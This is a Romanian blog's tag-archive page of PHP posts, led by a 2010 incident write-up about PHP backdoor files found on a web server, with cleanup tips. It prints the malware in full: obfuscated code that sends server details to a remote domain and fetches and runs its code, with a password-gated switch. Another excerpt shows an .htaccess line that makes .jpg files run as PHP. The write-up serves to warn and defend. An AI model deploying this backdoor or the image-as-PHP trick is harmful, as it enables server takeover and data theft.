Articole cu eticheta "php"

7.rssnews.ws attack web server

Teofil 30 January 2010, ora 18:23 2 comentarii

Astazi am avut surpriza sa gasesc cateva fisiere php dubioase pe server la mine. Nu stiu exact cum a avut loc atacul, dar voi incerca sa il descriu.
Se pare ca acum 3 zile cineva a inceput sa scaneze pe server si unde gasea foldere chmod 777 baga cate un fisier php de forma abcdef.php, unde abcdef sunt cifre care apartin [0,9]. Nu e obligatoriu ca numele sa aiba exact 6 cifre. Codul sursa a fost destul de bine facut putandu-se lua shell pe orice server care contine macar un fisier de genul acesta. Mai exact codul php din fisier incearca sa includa un fisier de pe domeniul 7.rssnews.ws. Ce este interesant totusi la acest nou atac este ca fiecare fisier php creat are 1474 bytes. Astfel putem face o cautare pe server care sa verifice conditia ca fisierul sa aiba exact 1474 bytes si sa stergem fisierele care au numele de forma celui sus-mentionat.
Cei care au wordpress pe server vor vedea ca fisierul “media-upload.js” are aceeasi dimensiune. Totusi acesta NU are legatura cu virusul si nu trebuie sters.

Mai jos aveti si codul cu pricina. Asta pentru cei curiosi. :)

<?php
error_reporting(0);
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);
$f=base64_decode("cnNzbmV3cy53cw==");
if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="4b3a309cff447ae52b6c4ebe762e3796")
	$f=$_REQUEST["id"];
	if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));
else
	if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z)) eval($c);
	else {
		$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
		curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
		$o=curl_exec($cu);
		curl_close($cu);
		eval($o);
	};
	die();
?> 

N-are rost sa explicam si codul pentru a nu da idei unor oameni cu prea mult timp liber.

Cum puteti scapa de acest virus?
Puteti face o cautare direct pe server dupa dimensiunea fisierului sau cu ajutorul programului FileZilla.
Totusi, cea mai buna solutie ar fi sa puneti un shell php pentru a sterge fisierele, deoarece au fost create avand owner httpd. Adica au fost create din php si vor trebuie sterse tot de acolo.

Simple Tags pentru WordPress 2.9

Teofil 19 December 2009, ora 23:36 0 Comentarii

Multi se plang ca nu merge pluginul Simple Tags pe WordPress 2.9. Se pare ca autorul acelui plugin verifica versiunea si chiar daca este compatibil cu o noua versiune de wordpress tot apare mesaj de atentionare, iar pluginul este dezactivat automat.

Tot ce trebuie sa faceti este sa intrati prin FTP pe host, apoi in folderul /wp-content/plugins/simple-tags/. Aici veti gasi fisierul simple-tags.php. Ii dati editare, iar acum inlocuiti prima linie cu a doua, dupa cum vedeti mai jos.
Adica asta.

if [...] Continuare…

Dictionar Cocalar-Roman

Teofil 17 December 2009, ora 22:38 3 comentarii

Dictionar Cocalar-Roman este la v0.1 alpha, dar te ajuta destul de mult. Este destul de sarac in modificari, dar face textul cocalarilor, pitipoancelor sau al analfabetilor mult mai lizibil. In articolul Sex la 10 ani!? puteti vedea un exemplu. Dati click pe sursa pentru a vedea textul original si comparati cu textul din articolul meu.

Si linkul catre el: Dictionar Cocalar-Roman. [...] Continuare…

Imagini ca PHP cu apache(.htaccess)

Teofil 14 October 2009, ora 12:52 0 Comentarii

Fisier “.htaccess”.
AddType application/x-httpd-php .jpg

Fisier .jpg.

Cand cineva va accesa fisierul .jpg se va excuta si codul php dorit. [...] Continuare…

Download NuSphere PhpED 5.5: Free Download

Teofil 23 November 2008, ora 19:13 0 Comentarii

A robust code editor, powerful php debugger, profiler and publisher – all-in-one

NuSphere PhpED IDE is a professional integrated development environment created mostly for building database-driven web-applications using php scripting language, although a lot of other popular languages such as HTML, XML, CSS, Perl, Javascript, Python are supported.

PhpED is a robust code editor, powerful php debugger, profiler and publisher – all-in-one. It also includes integrated database and CVS clients, SOAP services, HTML validator [...] Continuare…

De aproape o lună de zile m-am apucat și eu de un browser game numit Travian. Inițial tot am zis că nu voi juca că e pierdere de timp, dar am zis că așa mă mai relaxez și eu puțin. Problema era că au început câteva persoane să mă atace și partea proastă era că nu aveam cum să dau upgrade-uri pe cont dacă eram la școală, iar astfel pierdeam multe resurse și nici nu aveam cum să îmi [...] Continuare…

PHP Script – curs valutar

Teofil 19 June 2008, ora 20:56 15 comentarii

Facut mai in joaca, dar poate ajuta pe cineva. Scriptul extrage cursul valutar de la aproape toate bancile.

$file = file ("http://www.bnro.ro/ro/info/default.asp");
/* CURS VALUTAR DE LA BNR */
echo 'BNR';
echo 'EURO: '.strip_tags($file[57]); // EURO
echo 'USD: '.strip_tags($file[66]); // USD

$file = file ("http://www.banknews.ro/curs_valutar_banci/");
for ($i=200;$i<326;$i+=7)
{
$ec=strip_tags($file[$i+2]);
$ev=strip_tags($file[$i+3]);
$uc=strip_tags($file[$i+4]);
$uv=strip_tags($file[$i+5]);
echo strip_tags($file[$i+1]); // Denumire
echo 'EURO Cumparare: '.$ec; // EURO - Cumparare
echo 'EURO Vanzare: '.$ev; // EURO - Vanzare
echo 'USD Cumparare: '.$uc; // USD - Cumparare
echo 'USD Vanzare: '.$uv; // USD - Vanzare
}

[...] Continuare…